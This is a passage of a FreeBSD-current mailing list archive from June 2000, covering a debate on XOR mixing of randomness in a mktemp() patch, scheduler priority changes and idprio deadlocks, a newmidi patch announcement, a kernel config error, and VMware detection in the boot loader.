From owner-freebsd-current Sun Jun 11 0:19:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 8EE3337BA41; Sun, 11 Jun 2000 00:19:37 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id JAA70888; Sun, 11 Jun 2000 09:19:37 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006110719.JAA70888@grimreaper.grondar.za> To: "Andrey A. Chernov" Cc: current@FreeBSD.ORG Subject: Re: mktemp() patch References: <20000610193610.B99504@freebsd.org> In-Reply-To: <20000610193610.B99504@freebsd.org> ; from "Andrey A. Chernov" "Sat, 10 Jun 2000 19:36:10 MST." Date: Sun, 11 Jun 2000 09:19:37 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Think about it. If you mix a random number with a non-random number, > > using xor, what you get is.... a random number. It's neither stronger > > nor weaker. > > No, you'll get weaker random number, it badly affects random distribution. > OR or AND will affect more. What you say is true only if second XOR part is > 0 or -1 or changed between them or simple constant. I.e. if not _all_ bits XORed > in the same way, it affects. Andrey, this is simply not true. A fundamental theorem of randomness is that random bits XORed onto your data is random. How do you think a one-time-pad works? I suggest you read Bruce Schneier's Cryptography book before continuing this debate. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 0:22:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 3BEA137B9D2; Sun, 11 Jun 2000 00:22:33 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id JAA70906; Sun, 11 Jun 2000 09:22:36 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006110722.JAA70906@grimreaper.grondar.za> To: "Andrey A. Chernov" Cc: current@FreeBSD.ORG Subject: Re: mktemp() patch References: <20000610194306.C99504@freebsd.org> In-Reply-To: <20000610194306.C99504@freebsd.org> ; from "Andrey A. Chernov" "Sat, 10 Jun 2000 19:43:06 MST." Date: Sun, 11 Jun 2000 09:22:36 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Only if predictable have the same bits number as random. If not all bits of > random XOR-ed (i.e. half of random), it becomes weaker. Sigh. Exactly. The other half is _not_random_; I am not talking about it. > BTW, if they have the same bits number, > there is no reason to XOR random with predictable, random is not become > more random. If you doubt your randomness, XORing two quantities can improve it, if there is coincidence of random/non-random bits. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 0:24:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 1261337B9D2; Sun, 11 Jun 2000 00:24:34 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id JAA70920; Sun, 11 Jun 2000 09:24:37 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006110724.JAA70920@grimreaper.grondar.za> To: "Andrey A. Chernov" Cc: Mark Murray , "Jeroen C. van Gelderen" , Kris Kennaway , current@FreeBSD.ORG Subject: Re: mktemp() patch References: <20000610195102.D99504@freebsd.org> In-Reply-To: <20000610195102.D99504@freebsd.org> ; from "Andrey A. Chernov" "Sat, 10 Jun 2000 19:51:03 MST." Date: Sun, 11 Jun 2000 09:24:37 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > If it not weakers I can't see why it strenghthens. > I.e. you can constantly strenghthens generator with passing it through XOR -1 ? > If not, why any other value is better than -1? Huh? -1 is a constant, not random. Pass your data through _random_ bits, XORing it with them, and you have unbreakable crypto (one-time-pad) if you make a record of the random bits (the key). M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 0:27:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 432D937B9D2; Sun, 11 Jun 2000 00:27:30 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id JAA70939; Sun, 11 Jun 2000 09:27:33 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006110727.JAA70939@grimreaper.grondar.za> To: "Andrey A. Chernov" Cc: current@FreeBSD.ORG Subject: Re: mktemp() patch References: <20000610195213.E99504@freebsd.org> In-Reply-To: <20000610195213.E99504@freebsd.org> ; from "Andrey A. Chernov" "Sat, 10 Jun 2000 19:52:14 MST." Date: Sun, 11 Jun 2000 09:27:33 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > BTW, if they have the same bits number, > > there is no reason to XOR random with predictable, random is not become > > more random. > > But still confirm this. If the random number is truly random, then you are correct. If there are attacks on your random number generator, then XORing other stuff onto it will perturb the result and help defences. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 0:56:48 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 63F0137C84D; Sun, 11 Jun 2000 00:56:42 -0700 (PDT) Date: Sun, 11 Jun 2000 00:56:42 -0700 From: "Andrey A. Chernov" To: Mark Murray Cc: "Jeroen C. van Gelderen" , Kris Kennaway , current@FreeBSD.ORG Subject: Re: mktemp() patch Message-ID: <20000611005642.A53004@freebsd.org> References: <20000610195102.D99504@freebsd.org> <200006110724.JAA70920@grimreaper.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <200006110724.JAA70920@grimreaper.grondar.za>; from mark@grondar.za on Sun, Jun 11, 2000 at 09:24:37AM +0200 Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 11, 2000 at 09:24:37AM +0200, Mark Murray wrote: > > If it not weakers I can't see why it strenghthens. > > I.e. you can constantly strenghthens generator with passing it through XOR -1 > ? > > If not, why any other value is better than -1? > > Huh? -1 is a constant, not random. Pass your data through _random_ bits, > XORing it with them, and you have unbreakable crypto (one-time-pad) if you > make a record of the random bits (the key). Yes, if passing _random_ through -1 _data_ not makes it strengthens, passing through 1,2,3,4... _data_ will not makes it strenghthens too. If attacker tries to predict random number generator itself and know pid and mktemp() algorithm, adding getpid() bits he already know will not stop him from this attack unless you plan to keep mktemp() algorihtm secret. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 1:25: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id BF8A637B759; Sun, 11 Jun 2000 01:24:45 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id KAA71268; Sun, 11 Jun 2000 10:23:47 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006110823.KAA71268@grimreaper.grondar.za> To: "Andrey A. Chernov" Cc: current@FreeBSD.ORG Subject: Re: mktemp() patch References: <20000611005642.A53004@freebsd.org> In-Reply-To: <20000611005642.A53004@freebsd.org> ; from "Andrey A. Chernov" "Sun, 11 Jun 2000 00:56:42 MST." Date: Sun, 11 Jun 2000 10:23:47 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Huh? -1 is a constant, not random. Pass your data through _random_ bits, > > XORing it with them, and you have unbreakable crypto (one-time-pad) if you > > make a record of the random bits (the key). > > Yes, if passing _random_ through -1 _data_ not makes it strengthens, > passing through 1,2,3,4... _data_ will not makes it strenghthens too. Right, but the attacker doesn't always have access to the pid, so while it is _not_very_ random, under some circumstances it has _some_ useful randomness. > If attacker tries to predict random number generator itself and know pid and > mktemp() algorithm, adding getpid() bits he already know will not stop him > from this attack unless you plan to keep mktemp() algorihtm secret. Correct. However if you are collecting bits of randomness (or suspected randomness) from various sources, XORing them together is a cheap way of of combining them and obfuscating them, without making the total randomness any worse than the best of them. There are ways (eg: hash algorithms) of adding the total randomness. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 3: 6:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from oznet15.ozemail.com.au (oznet15.ozemail.com.au [203.2.192.116]) by hub.freebsd.org (Postfix) with ESMTP id 247ED37B557; Sun, 11 Jun 2000 03:06:00 -0700 (PDT) (envelope-from obituary@ozemail.com.au) Received: from carcass.au.hartware.com (slnew51p44.ozemail.com.au [203.108.150.60]) by oznet15.ozemail.com.au (8.9.0/8.6.12) with ESMTP id UAA15030; Sun, 11 Jun 2000 20:05:54 +1000 (EST) Received: (from obituary@localhost) by carcass.au.hartware.com (8.9.3/8.9.3) id UAA00283; Sun, 11 Jun 2000 20:03:22 +1000 (EST) (envelope-from obituary) Date: Sun, 11 Jun 2000 20:03:22 +1000 From: "Jacob A. Hart" To: Brian Fundakowski Feldman Cc: Doug Barton , Sheldon Hearn , FreeBSD-CURRENT Subject: Re: Scheduler changes? Message-ID: <20000611200322.A236@carcass.au.hartware.com> References: <20000528135331.A241@carcass.au.hartware.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="MGYHOYXEY6WxJCY8" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from green@FreeBSD.ORG on Fri, Jun 09, 2000 at 08:28:06PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --MGYHOYXEY6WxJCY8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Jun 09, 2000 at 08:28:06PM -0400, Brian Fundakowski Feldman wrote: > > The diff should make a process at -20 which uses all available CPU > schedule just slightly the ahead of a process at +20 which uses no CPU. > A process which uses full CPU at 0 niceness would have a priority of > 128, whereas a process using no CPU at 0 niceness would have a priority > of 90. All processes will always have a priority less than or equal to > 128, which is the priority at which a process with a niceness of +20 > always runs at. A +20 process won't get better priority than anything > else, period. Try it out, see how it works for you:) I tried this patch today. While it didn't quite fix the problem, it sure made for some interesting pacman gameplay. ;-) Using idprio as Volodymyr suggested seems to be a viable workaround. You mentioned in another message that idprio could potentially deadlock my machine, though. Under what conditions could this happen (and how likely is it to occur)?=20 -jake --=20 Jacob A. Hart Powered by: FreeBSD 5.0-CURRENT #18: Sun Jun 11 19:25:03 EST 2000 --MGYHOYXEY6WxJCY8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: xaekhSYZnG9LAfRSXDDkSOwarV+x2Exf iQA/AwUBOUNj6X1KIGEEZDODEQIeFgCeMbEXHrRISy5op+8yVVxN2Pd+cVUAoNba 4naBdYE4w7oImABKD9RLNTOe =uYGv -----END PGP SIGNATURE----- --MGYHOYXEY6WxJCY8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 3:18:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from pub.dn.ua (pub.dn.ua [193.124.70.70]) by hub.freebsd.org (Postfix) with ESMTP id 12A2837BF58 for ; Sun, 11 Jun 2000 03:18:09 -0700 (PDT) (envelope-from arcade@pub.dn.ua) Received: (from arcade@localhost) by pub.dn.ua (Aist/Vlad) id NAA05774; Sun, 11 Jun 2000 13:16:59 +0300 (EEST) Message-ID: <20000611131659.A3540@dn.ua> Date: Sun, 11 Jun 2000 13:16:59 +0300 From: Vladimir Kostyrko To: "Jacob A. Hart" Cc: freebsd-current@freebsd.org Subject: Re: Scheduler changes? References: <20000528135331.A241@carcass.au.hartware.com> <20000611200322.A236@carcass.au.hartware.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <20000611200322.A236@carcass.au.hartware.com>; from Jacob A. Hart on Sun, Jun 11, 2000 at 08:03:22PM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 11, 2000 at 08:03:22PM +1000, Jacob A. Hart wrote: > Using idprio as Volodymyr suggested seems to be a viable workaround. You > mentioned in another message that idprio could potentially deadlock my > machine, though. Under what conditions could this happen (and how likely > is it to occur)? That things were beautifully described in [id|rt]prio man page. idprio makes process idle, so it gets only time slices left _after_ ditributing them among normal processes. rtprio makes process priority realtime so each time slice is distributed to this process and only leftover went to system. If you make rtprio dnetc, the system near hangs and understands only three buttons but one minute after pressing them.. ;) So using idprio would not hang the machine. -- [WBR], Arcade Zardos. [AIST] [SAT Astronomy//Think to survive!] [mp3.aist.net] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 4: 4:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id AF9C637C000; Sun, 11 Jun 2000 04:04:09 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id DAA27067; Sun, 11 Jun 2000 03:55:15 -0700 (PDT) Message-Id: <200006111055.DAA27067@implode.root.com> To: "Jacob A. Hart" Cc: Brian Fundakowski Feldman , Doug Barton , Sheldon Hearn , FreeBSD-CURRENT Subject: Re: Scheduler changes? In-reply-to: Your message of "Sun, 11 Jun 2000 20:03:22 +1000." <20000611200322.A236@carcass.au.hartware.com> From: David Greenman Reply-To: dg@root.com Date: Sun, 11 Jun 2000 03:55:15 -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Using idprio as Volodymyr suggested seems to be a viable workaround. You >mentioned in another message that idprio could potentially deadlock my >machine, though. Under what conditions could this happen (and how likely >is it to occur)? idprio can lead to a system hang due to priority inversion. For example, suppose that an idprio process does disk I/O and locks a critical resource (such as the vnode for the '/' directory) prior to doing that. Then also suppose that a normal process is in a permanent run state (loop: goto loop). When the I/O completes on the idprio process, it will never be given an opportunity to release the vnode lock. Eventually just about everything in the system will deadlock waiting on that resource and the system will essentially hang. The work-around for this is to temporarily increase the priority of idprio processes while they execute in the kernel, but this hasn't yet been implemented. The above scenario can happen pretty easily if you have an idprio process doing a normal mix of file operations - all you need then is normal priority process(es) to eat all the CPU for long periods - even a few seconds can be very annoying to interactive users. -DG David Greenman Co-founder, The FreeBSD Project - http://www.freebsd.org Manufacturer of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 6:11:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id D12AE37C01D for ; Sun, 11 Jun 2000 06:11:23 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: (from uucp@localhost) by rina.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W-rina.r-0.1-11.01.2000) with UUCP id WAA73977; Sun, 11 Jun 2000 22:11:18 +0900 (JST) Received: from silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (tanimura@localhost [127.0.0.1]) by silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W) with ESMTP/IPv4 id WAA04709; Sun, 11 Jun 2000 22:07:27 +0900 (JST) Date: Sun, 11 Jun 2000 22:07:27 +0900 Message-ID: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> From: Seigo Tanimura To: current@FreeBSD.org Subject: Newmidi Release Candidate is ready Cc: Seigo Tanimura User-Agent: Wanderlust/1.0.3 (Notorious) SEMI/1.13.4 (Terai) FLIM/1.12.7 (=?ISO-8859-4?Q?Y=FEzaki?=) MULE XEmacs/21.1 (patch 9) (Canyonlands) (i386--freebsd) Organization: Carrots MIME-Version: 1.0 (generated by SEMI 1.13.4 - "Terai") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The release candidate of newmidi is finally ready. The patch for -current can be found at: URI: http://people.FreeBSD.org/~tanimura/patches/newmidirc.diff.gz I will put this patch into the final test stage of 1 month. The date of merge is hence going to be 11th July 2000. -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 7:17:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from imo-r19.mx.aol.com (imo-r19.mx.aol.com [152.163.225.73]) by hub.freebsd.org (Postfix) with ESMTP id E4AC837B93A for ; Sun, 11 Jun 2000 07:17:41 -0700 (PDT) (envelope-from IsDaPappy@aol.com) Received: from IsDaPappy@aol.com by imo-r19.mx.aol.com (mail_out_v27.10.) id n.26.6d9da3b (8977) for ; Sun, 11 Jun 2000 10:17:37 -0400 (EDT) From: IsDaPappy@aol.com Message-ID: <26.6d9da3b.2674f980@aol.com> Date: Sun, 11 Jun 2000 10:17:36 EDT Subject: word processor To: current@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows 95 sub 100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG unable to open word processor. pop-up says error has occurred and shuts down. have run system. clean up,scandisk,defrag,etc. but program still will not open. please help if possible To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 8:11: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 9031E37B951; Sun, 11 Jun 2000 08:10:59 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Sun, 11 Jun 2000 11:10:58 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: "Jacob A. Hart" Cc: Doug Barton , Sheldon Hearn , FreeBSD-CURRENT Subject: Re: Scheduler changes? In-Reply-To: <20000611200322.A236@carcass.au.hartware.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, Jacob A. Hart wrote: > On Fri, Jun 09, 2000 at 08:28:06PM -0400, Brian Fundakowski Feldman wrote: > > > > The diff should make a process at -20 which uses all available CPU > > schedule just slightly the ahead of a process at +20 which uses no CPU. > > A process which uses full CPU at 0 niceness would have a priority of > > 128, whereas a process using no CPU at 0 niceness would have a priority > > of 90. All processes will always have a priority less than or equal to > > 128, which is the priority at which a process with a niceness of +20 > > always runs at. A +20 process won't get better priority than anything > > else, period. Try it out, see how it works for you:) > > I tried this patch today. > > While it didn't quite fix the problem, it sure made for some interesting > pacman gameplay. ;-) Yeah, I tried it out myself. I didn't actually think beforehand (hence the testing...) why it would be bad for a process of niceness -20 to always have better than the last priority in every case... I tried it with MAME and it took a long time before my "escape" key event registered (X not getting run...). I'm thinking of ways to make the algorithm both good for people who need (err... want) low-priority background processes only to run when there's free time, and high-priority processes run but not to the exclusion of everything else. The whole scheduling algorithm proper is quite tricky to do very well; previously, it had most of the properties we want, but it also easily allowed for deadlocks. > Using idprio as Volodymyr suggested seems to be a viable workaround. You > mentioned in another message that idprio could potentially deadlock my > machine, though. Under what conditions could this happen (and how likely > is it to occur)? > > > -jake > > -- > Jacob A. Hart > Powered by: FreeBSD 5.0-CURRENT #18: Sun Jun 11 19:25:03 EST 2000 > -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 8:17:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id 9427A37B90B for ; Sun, 11 Jun 2000 08:17:08 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 26735 invoked from network); 11 Jun 2000 15:17:06 -0000 Received: from lc210.cvzoom.net (208.226.154.210) by ns.cvzoom.net with SMTP; 11 Jun 2000 15:17:06 -0000 Date: Sun, 11 Jun 2000 11:17:06 -0400 (EDT) From: Donn Miller To: current@freebsd.org Subject: kernel config errors... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After a recent cvsup, I'm getting this error after doing a config -r: ../../conf/files: coda/coda_fbsd.c must be optional, mandatory or standard - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 8:18:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id AAFDC37BBD9; Sun, 11 Jun 2000 08:18:40 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id RAA11260; Sun, 11 Jun 2000 17:20:04 +0200 (CEST) (envelope-from luigi) From: Luigi Rizzo Message-Id: <200006111520.RAA11260@info.iet.unipi.it> Subject: Re: Scheduler changes? In-Reply-To: from Brian Fundakowski Feldman at "Jun 11, 2000 11:10:58 am" To: Brian Fundakowski Feldman Date: Sun, 11 Jun 2000 17:20:04 +0200 (CEST) Cc: "Jacob A. Hart" , Doug Barton , Sheldon Hearn , FreeBSD-CURRENT X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, i understand that this means maybe a somwthat large change in the system, but what do you think if we have a lok at implementing the CPU scheduler using weights instead of strict priorities ? Do we have parts of the kernel which rely on priority to implement locking etc ? This would not be too different from what the EclipseBSD people did, and the code i recently committed to dummynet can be easily reused to this purpose, and it is efficient. With a little bit of guidance (I am not too familiar with that area of the code) i think we can do something good with little effort. cheers luigi > On Sun, 11 Jun 2000, Jacob A. Hart wrote: > > > On Fri, Jun 09, 2000 at 08:28:06PM -0400, Brian Fundakowski Feldman wrote: > > > > > > The diff should make a process at -20 which uses all available CPU > > > schedule just slightly the ahead of a process at +20 which uses no CPU. > > > A process which uses full CPU at 0 niceness would have a priority of > > > 128, whereas a process using no CPU at 0 niceness would have a priority > > > of 90. All processes will always have a priority less than or equal to > > > 128, which is the priority at which a process with a niceness of +20 > > > always runs at. A +20 process won't get better priority than anything > > > else, period. Try it out, see how it works for you:) > > > > I tried this patch today. > > > > While it didn't quite fix the problem, it sure made for some interesting > > pacman gameplay. ;-) > > Yeah, I tried it out myself. I didn't actually think beforehand (hence the > testing...) why it would be bad for a process of niceness -20 to always > have better than the last priority in every case... I tried it with > MAME and it took a long time before my "escape" key event registered > (X not getting run...). > > I'm thinking of ways to make the algorithm both good for people who need > (err... want) low-priority background processes only to run when there's > free time, and high-priority processes run but not to the exclusion of > everything else. The whole scheduling algorithm proper is quite tricky > to do very well; previously, it had most of the properties we want, but > it also easily allowed for deadlocks. > > > Using idprio as Volodymyr suggested seems to be a viable workaround. You > > mentioned in another message that idprio could potentially deadlock my > > machine, though. Under what conditions could this happen (and how likely > > is it to occur)? > > > > > > -jake > > > > -- > > Jacob A. Hart > > Powered by: FreeBSD 5.0-CURRENT #18: Sun Jun 11 19:25:03 EST 2000 > > > > -- > Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / > green@FreeBSD.org `------------------------------' > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 8:22: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 3640F37B90B for ; Sun, 11 Jun 2000 08:21:51 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id RAA01066; Sun, 11 Jun 2000 17:21:46 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: kernel config errors... In-reply-to: Your message of "Sun, 11 Jun 2000 11:17:06 EDT." Date: Sun, 11 Jun 2000 17:21:46 +0200 Message-ID: <1064.960736906@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Donn Mi ller writes: >After a recent cvsup, I'm getting this error after doing a config -r: > >../../conf/files: coda/coda_fbsd.c must be optional, mandatory or standard recompile config(8). I don't know why peter didn't bump the magic-config-version-number. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 8:27:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 884CD37BF50; Sun, 11 Jun 2000 08:27:30 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p29-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.158]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id AAA07519; Mon, 12 Jun 2000 00:27:18 +0900 (JST) Message-ID: <3943AFF4.6821783E@newsguy.com> Date: Mon, 12 Jun 2000 00:27:48 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Mike Smith Cc: Luoqi Chen , current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader References: <200006110105.SAA11913@mass.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Smith wrote: > > > VMware intercepts the inb/outb instruction to port 0x5658 when the eax > > register is set to a magic value, otherwise it would be handled as any > > other ports. > > I think, again, that adding an i386-specific word that detects the > presence of VMware is a perfectly sensible idea, and it should simply be > done. Given the way VMware works, I'd have nothing against making it a FICL words, except... ...VMware is a port. For some reason, I dislike the idea of having support targetted at exclusively one specific port. Though we have features added specifically to deal with certain ports, they were all more generic features. So, I see two alternatives here: 1) Add the Forth words that allow execution of assembler code (CODE ;CODE), and hex-compile the code (as having a whole assembler around is unreasonable). This enables similar problems to be solved without having to change loader(8). 2) Add the VMware detecting to FICL, as originally suggested. While I have reservations about the latter, I'm not objecting to it. If you, Luoqi, prefer to go that way, go ahead. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 9: 0:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailtoaster2.pipeline.ch (mailtoaster2.pipeline.ch [62.48.0.71]) by hub.freebsd.org (Postfix) with ESMTP id 0D4D937B514 for ; Sun, 11 Jun 2000 09:00:18 -0700 (PDT) (envelope-from oppermann@pipeline.ch) Received: (qmail 75908 invoked from network); 11 Jun 2000 16:02:33 -0000 Received: from unknown (HELO pipeline.ch) ([62.48.0.53]) 